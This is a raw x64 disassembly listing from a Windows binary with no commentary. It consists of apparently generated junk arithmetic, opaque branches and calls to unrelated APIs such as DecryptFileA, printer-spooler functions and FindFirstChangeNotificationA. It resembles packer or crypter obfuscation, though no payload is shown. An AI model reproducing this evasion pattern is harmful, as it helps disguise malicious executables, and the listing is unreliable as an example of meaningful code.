mov dword [rsp + 0x3e18], 0x7969367f
mov eax, 0x919
mov word [rsp + 0xe30], ax
mov eax, 0xa23
mov word [rsp + 0xe34], ax
mov dword [rsp + 0x3e1c], 0xc602afbe
mov dword [rsp + 0x3e20], 0x9b11c761
mov byte [rsp + 0x134], 0xb8
mov byte [rsp + 0x135], 0x14
mov dword [rsp + 0x3e24], 0x41e78ea
mov eax, 0x7616
mov word [rsp + 0xe38], ax
mov dword [rsp + 0x3e28], 0x93347b9b
mov byte [rsp + 0x136], 0x75
mov dword [rsp + 0x3e2c], 0x12c3171f
mov eax, 0x910
mov word [rsp + 0xe3c], ax
mov dword [rsp + 0x3e30], 0x6d4a3051
mov byte [rsp + 0x137], 0x3d
mov byte [rsp + 0x138], 0x6d
mov dword [rsp + 0x3e34], 0x39998cb1
mov dword [rsp + 0x3e38], 0x835cd3d8
mov byte [rsp + 0x139], 0x73
mov dword [rsp + 0x3e3c], 0xf09a8611
mov byte [rsp + 0x13a], 0xa6
mov dword [rsp + 0x3e40], 0x8c6772f
mov dword [rsp + 0x3e44], 0x57037b0
mov dword [rsp + 0x3e48], 0x472eeb1d
mov dword [rsp + 0x3e4c], 0x76279070
mov eax, 0x232e
mov word [rsp + 0xe40], ax
mov dword [rsp + 0x3e50], 0x4e0431c1
mov eax, 0x8a5
mov word [rsp + 0xe44], ax
mov dword [rsp + 0x3e54], 0x77d03018
mov dword [rsp + 0x3e58], 0x518640b3
mov dword [rsp + 0x3e5c], 0x1182693c
mov byte [rsp + 0x13b], 0x6a
mov byte [rsp + 0x13c], 0x68
mov dword [rsp + 0x3e60], 0x5b6194d9
mov dword [rsp + 0x3e64], 0x6d1667b6
mov dword [rsp + 0x3e68], 0x95b7e781
mov dword [rsp + 0x3e6c], 0xbd81ee1a
mov dword [rsp + 0x3e70], 0x61eec54a
mov eax, 0x5bf
mov word [rsp + 0xe48], ax
mov eax, 0xd8c
mov word [rsp + 0xe4c], ax
mov eax, 0x84c
mov word [rsp + 0xe50], ax
mov dword [rsp + 0x3e74], 0x6cd4f343
mov byte [rsp + 0x13d], 0x1c
mov dword [rsp + 0x3e78], 0x19476f64
mov dword [rsp + 0x3e7c], 0x784a8281
mov dword [rsp + 0x3e80], 0x188bd34a
mov dword [rsp + 0x3e84], 0x306fb8de
mov dword [rsp + 0x3e88], 0x3b8050c2
mov dword [rsp + 0x3e8c], 0x3ad5eeb1
mov dword [rsp + 0x3e90], 0xdd669938
mov byte [rsp + 0x13e], 0x49
mov eax, 0x82a
mov word [rsp + 0xe54], ax
mov dword [rsp + 0x3e94], 0x3d0220d1
mov dword [rsp + 0x3e98], 0x520f2363
mov dword [rsp + 0x3e9c], 0x377cc2b9
mov eax, 0x4afa
mov word [rsp + 0xe58], ax
mov dword [rsp + 0x3ea0], 0x53f4da28
mov dword [rsp + 0x3ea4], 0xfb328a83
mov dword [rsp + 0x3ea8], 0xa4e77faf
mov byte [rsp + 0x13f], 0xc0
mov dword [rsp + 0x3eac], 0x4dbdc3fd
mov eax, 0x28b
mov word [rsp + 0xe5c], ax
mov dword [rsp + 0x3eb0], 0x1fd12c58
mov dword [rsp + 0x3eb4], 0x21604ef8
mov eax, 0xc8a
mov word [rsp + 0xe60], ax
mov byte [rsp + 0x140], 0x61
mov dword [rsp + 0x3eb8], 0xa6438682
mov dword [rsp + 0x3ebc], 0x263bfa8f
mov dword [rsp + 0x3ec0], 0x24dabd10
mov dword [rsp + 0x3ec4], 0x687e3271
mov dword [rsp + 0x3ec8], 0x111cd731
mov byte [rsp + 0x141], 0x6c
mov dword [rsp + 0x3ecc], 0x219e5687
mov byte [rsp + 0x142], 0x78
mov eax, 0xbb2
mov word [rsp + 0xe64], ax
mov dword [rsp + 0x3ed0], 0x39ca0c7
mov dword [rsp + 0x3ed4], 0x3bcdc1ed
mov dword [rsp + 0x3ed8], 0x3842568b
mov dword [rsp + 0x3edc], 0x25454c9d
mov dword [rsp + 0x3ee0], 0x5b7126c2
mov dword [rsp + 0x3ee4], 0x63b85555
mov dword [rsp + 0x3ee8], 0x18b537cb
mov dword [rsp + 0x3eec], 0xc7dcfdef
mov dword [rsp + 0x3ef0], 0x455612a6
mov dword [rsp + 0x3ef4], 0x5efeaa60
mov dword [rsp + 0x3ef8], 0x1a6ac03c
mov dword [rsp + 0x3efc], 0x15d72ac4
mov dword [rsp + 0x3f00], 0x4ef2a2fa
mov byte [rsp + 0x143], 0xd7
mov dword [rsp + 0x3f04], 0x2b010e34
mov dword [rsp + 0x3f08], 0x1602a7a7
mov eax, 0x943
mov word [rsp + 0xe68], ax
mov dword [rsp + 0x3f0c], 0x28fd632e
mov eax, 0x91
mov word [rsp + 0xe6c], ax
mov eax, 0x6a4
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x3f10], 0x387ba789
mov dword [rsp + 0x3f14], 0x63115eeb
mov dword [rsp + 0x3f18], 0x1c4bde0
mov dword [rsp + 0x3f1c], 0x7c2fb640
mov eax, 0xc4a
mov word [rsp + 0xe74], ax
mov dword [rsp + 0x3f20], 0x1cfedbbd
mov dword [rsp + 0x3f24], 0xd2b1a1ad
mov eax, 0x8ab
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x3f28], 0xc8b94c33
mov byte [rsp + 0x144], 9
mov dword [rsp + 0x3f2c], 0x39d58aa3
mov byte [rsp + 0x145], 0
mov dword [rsp + 0x3f30], 0x8aeeb2fa
mov dword [rsp + 0x3f34], 0x265d7337
mov dword [rsp + 0x3f38], 0x3aa0ef3b
mov dword [rsp + 0x3f3c], 0xcca648e9
mov dword [rsp + 0x3f40], 0x292a2f01
mov dword [rsp + 0x3f44], 0x554a0724
mov dword [rsp + 0x3f48], 0x458ae9f2
mov byte [rsp + 0x146], 0x92
mov dword [rsp + 0x3f4c], 0x6f2b6b7b
mov dword [rsp + 0x3f50], 0x1fc81c61
mov eax, 0x896
mov word [rsp + 0xe7c], ax
mov eax, 0x140
mov word [rsp + 0xe80], ax
mov dword [rsp + 0x3f54], 0x4c8b2576
mov byte [rsp + 0x147], 0xfd
mov dword [rsp + 0x3f58], 0x2a840e4d
mov dword [rsp + 0x3f5c], 0xffd62237
lea rax, [rsp + 0x1f688]
lea rcx, str.primus_marshmallow
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x148], 0x45
mov dword [rsp + 0x3f60], 0x6066fad4
mov dword [rsp + 0x3f64], 0x1ec43b9d
mov eax, 0x9c6
mov word [rsp + 0xe84], ax
mov dword [rsp + 0x3f68], 0xeb89eb9b
mov dword [rsp + 0x3f6c], 0x54d30c10
mov dword [rsp + 0x3f70], 0x2704c2f3
mov dword [rsp + 0x3f74], 0x49e7108f
mov dword [rsp + 0x3f78], 0x787a9feb
mov dword [rsp + 0x3f7c], 0x7d9ad1ae
mov eax, 0x3617
mov word [rsp + 0xe88], ax
mov eax, 0x5726
mov word [rsp + 0xe8c], ax
mov dword [rsp + 0x3f80], 0x8b2104c0
mov eax, 0xbc3
mov word [rsp + 0xe90], ax
mov eax, 0x33
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x3f84], 0x7ccdde1c
mov eax, 0x48a
mov word [rsp + 0xe98], ax
mov byte [rsp + 0x149], 0x7e
mov eax, 0x52a
mov word [rsp + 0xe9c], ax
mov byte [rsp + 0x14a], 0x6f
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x3f88], al
cmp byte [rsp + 0x3f88], 0x48
je 0x14000bd13
cmp byte [rsp + 0x3f88], 0x62
je 0x14000bdc2
jmp 0x14000bde3
movsx eax, byte [rsp + 0x14a]
add eax, 0x58
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0x14a]
cmp eax, 0x46
jge 0x14000bd44
movsx eax, byte [rsp + 0x14a]
sub eax, 0x12
mov byte [rsp + 0x14a], al
mov edx, 0x36
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x3f8c], eax
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x3f90], al
cmp byte [rsp + 0x3f90], 0x6a
je 0x14000bd79
jmp 0x14000bdae
movsx eax, byte [rsp + 0x14a]
and eax, 0x27
mov byte [rsp + 0x14a], al
mov byte [rsp + 0x20], 0x6c
mov r9b, 0x5b
mov r8b, 0xfd
movzx edx, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x14a]
call fcn.1401757d0
nop
jmp 0x14000bdc0
movsx eax, byte [rsp + 0x14a]
xor eax, 0x52
mov byte [rsp + 0x14a], al
jmp 0x14000bde3
mov byte [rsp + 0x20], 0x8f
xor r9d, r9d
mov r8b, 0x37
movzx edx, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x14a]
call fcn.1401757d0
nop
movsx eax, word [rsp + 0xc48]
cdq
mov ecx, 0x2ff0
idiv ecx
mov word [rsp + 0xc48], ax
mov dword [rsp + 0x3f94], 0x5ac4
mov eax, 0x66b
mov word [rsp + 0xea0], ax
mov dword [rsp + 0x3f98], 0x75047fe7
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x3f9c], eax
cmp dword [rsp + 0x3f9c], 0x5aa5
je 0x14000be3f
jmp 0x14000bee7
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x3fa0], eax
movsx eax, byte [rsp + 0x14a]
sar eax, 0x12
cmp eax, 0x44
jne 0x14000bed5
movzx eax, word [rsp + 0xea0]
shl eax, 0xa
mov word [rsp + 0xea0], ax
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x3fa4], al
cmp byte [rsp + 0x3fa4], 0x4b
je 0x14000be8a
jmp 0x14000bec3
lea rdx, [rsp + 0xa348]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x3fa8], eax
mov r8d, 4
mov edx, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3f98]
call fcn.140176420
nop
jmp 0x14000bed5
movsx eax, byte [rsp + 0x14a]
or eax, 0x15
mov byte [rsp + 0x14a], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x3f8c], eax
jmp 0x14000bfc6
mov dword [rsp + 0x3fac], 0x8f81a18e
mov dword [rsp + 0x3fb0], 0x84b5
movsx eax, byte [rsp + 0x14a]
sub eax, 0x53
mov byte [0x140199008], al
mov dword [rsp + 0x3fb4], 0x7f5c
lea rax, [rsp + 0xea0]
mov qword [rsp + 0xa350], rax
mov dword [rsp + 0x3fb8], 0x6c88
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x3fbc], eax
cmp dword [rsp + 0x3fbc], 0x510e301e
je 0x14000bfa9
cmp dword [rsp + 0x3fbc], 0x8f81a18e
je 0x14000bf5e
jmp 0x14000bfc6
mov eax, dword [rsp + 0x3f98]
mov dword [rsp + 0x3fc0], eax
lea rax, [rsp + 0x3fac]
mov qword [rsp + 0xa358], rax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa360], rax
mov dword [rsp + 0x3fc4], 0x9829
lea rax, [rsp + 0x3fac]
mov qword [rsp + 0xa368], rax
jmp 0x14000bfc6
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, word [rsp + 0xea0]
sub eax, 0x1d2
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fb0]
add eax, 0x39
mov dword [rsp + 0x3fb0], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
movsx eax, word [rsp + 0xc48]
add eax, 0x3292
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
sar eax, 2
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
shl eax, cl
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
movsx eax, byte [rsp + 0x14a]
add eax, 0x67
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
add eax, 0x9b1
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
xor eax, 0x99a
mov word [rsp + 0xea0], ax
movsx eax, byte [rsp + 0x14a]
sar eax, 5
mov byte [0x140199008], al
movsx eax, word [rsp + 0xc48]
or eax, 0x2966
mov word [rsp + 0xc48], ax
movzx eax, word [rsp + 0xea0]
shl eax, 0xb
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
sub eax, 0x7cf
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
and eax, 0x6c
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f98]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa370], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa370]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xa378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa378]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
movsx eax, byte [rsp + 0x14a]
sub eax, 0x1d
mov byte [0x140199008], al
movsx eax, byte [0x140199008]
add eax, 0x52
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
sub eax, 0x1f
mov word [rsp + 0xea0], ax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
and eax, 0x598
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
cmp dword [rsp + 0x3fb0], 0x90bb
jbe 0x14000bfc6
lea rax, [rsp + 0xea0]
mov qword [rsp + 0xa380], rax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov dword [rsp + 0x3fc8], eax
cmp dword [rsp + 0x3fc8], 0x48bef8f2
je 0x14000c515
cmp dword [rsp + 0x3fc8], 0xbb9bacc4
je 0x14000c4df
jmp 0x14000c5cf
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov rcx, qword [rsp + 0xa388]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x3f8c], eax
jmp 0x14000c5cf
movsx eax, word [rsp + 0xc48]
cmp eax, 0x18e0
je 0x14000c556
movsx eax, byte [rsp + 0x14a]
or eax, 0x1f
mov byte [0x140199008], al
mov byte [rsp + 0x20], 0xef
mov r9b, 0x42
mov r8b, 0xc5
movzx edx, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x14a]
call fcn.1401757d0
nop
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea r9, [rsp + 0xa368]
lea r8, [rsp + 0xa340]
lea rdx, [rsp + 0xea0]
mov rcx, qword [rsp + 0xa390]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0xa398], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa398]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x3f98]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3a0]
mov eax, dword [rax]
sar eax, cl
cmp eax, dword [rsp + 0x3fc0]
jl 0x140175068
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x14b], al
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x3fd0], eax
cmp dword [rsp + 0x3fd0], 0xffffaf66
je 0x14000c632
jmp 0x140174fb1
lea rax, [rsp + 0x3fac]
mov qword [rsp + 0xa3a8], rax
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x3fd4], eax
cmp dword [rsp + 0x3fd4], 0
je 0x14000c65c
jmp 0x14000c6b4
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov dword [rsp + 0x3fd8], eax
cmp dword [rsp + 0x3fd8], 0x6afeae6
je 0x14000c67c
jmp 0x14000c68e
mov r9b, 0xd5
mov r8b, 0xa7
mov dl, 0x36
mov cl, 0x60
call fcn.140175c10
nop
jmp 0x14000c6af
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xa3b0], rax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov dword [rsp + 0x3fdc], eax
jmp 0x14000c772
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
sar eax, cl
movsx ecx, byte [0x140199008]
cmp eax, ecx
jge 0x14000c742
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3fdc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov edx, 0x34
mov rcx, qword [rsp + 0xa390]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
shl eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
jmp 0x14000c772
mov rax, qword [rsp + 0xa350]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xa350]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xa380]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3fdc]
call fcn.1401769a0
nop
mov eax, dword [rsp + 0x3f98]
mov dword [rsp + 0x3fe4], eax
cmp dword [rsp + 0x3fe4], 0
je 0x14000c863
cmp dword [rsp + 0x3fe4], 0x1cb42099
je 0x14000c7a0
jmp 0x14000c988
mov ecx, 0x33
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov edx, dword [rsp + 0x3fc0]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jge 0x14000c813
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
jmp 0x14000c85e
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
movzx ecx, word [rsp + 0xea0]
mov rdx, qword [rsp + 0xa380]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000c85e
mov r8d, 0xd7
xor edx, edx
lea rcx, str.C:PatriciansOccupants
call qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov qword [rsp + 0xa390], rax
jmp 0x14000c988
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov rdx, qword [rsp + 0xa368]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x14000c94e
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov edx, dword [rsp + 0x3f98]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jg 0x14000c94c
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xa3b8], rax
mov dword [rsp + 0x3fe8], 0xe3e7
mov dword [rsp + 0x3fec], 0xbc10
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shl eax, cl
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x3ff0], 0x1e0e
movzx eax, byte [rsp + 0x14b]
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xc48]
sar eax, 0xc
mov word [rsp + 0xd48], ax
jmp 0x14000c988
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
movsx ecx, byte [0x140199008]
cmp eax, ecx
jne 0x14000c988
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fac], eax
lea rax, [rsp + 0x3fdc]
mov qword [rsp + 0xa3c0], rax
mov dword [rsp + 0x3ff4], 0x3cea
movsx eax, word [rsp + 0xd48]
and eax, 0x237f
movsx ecx, word [rsp + 0xc48]
cmp eax, ecx
jg 0x14000ca2b
movsx eax, word [rsp + 0xc48]
sub eax, 0x45d6
movsx ecx, word [rsp + 0xd48]
cmp eax, ecx
je 0x14000ca13
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov r8d, dword [rsp + 0x3fac]
mov edx, dword [rsp + 0x3f98]
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rax]
call fcn.140176420
nop
jmp 0x14000ca2b
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x14b], al
mov dword [rsp + 0x3ff8], 0x2855
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x3ffc], eax
cmp dword [rsp + 0x3ff4], 0x60dc
jae 0x14000cdc1
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shr eax, cl
mov dword [rsp + 0x3ffc], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
or eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [0x140199008]
sub eax, ecx
mov byte [rsp + 0x14c], al
movsx eax, word [rsp + 0xc48]
sub eax, 0x5050
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea4]
and eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
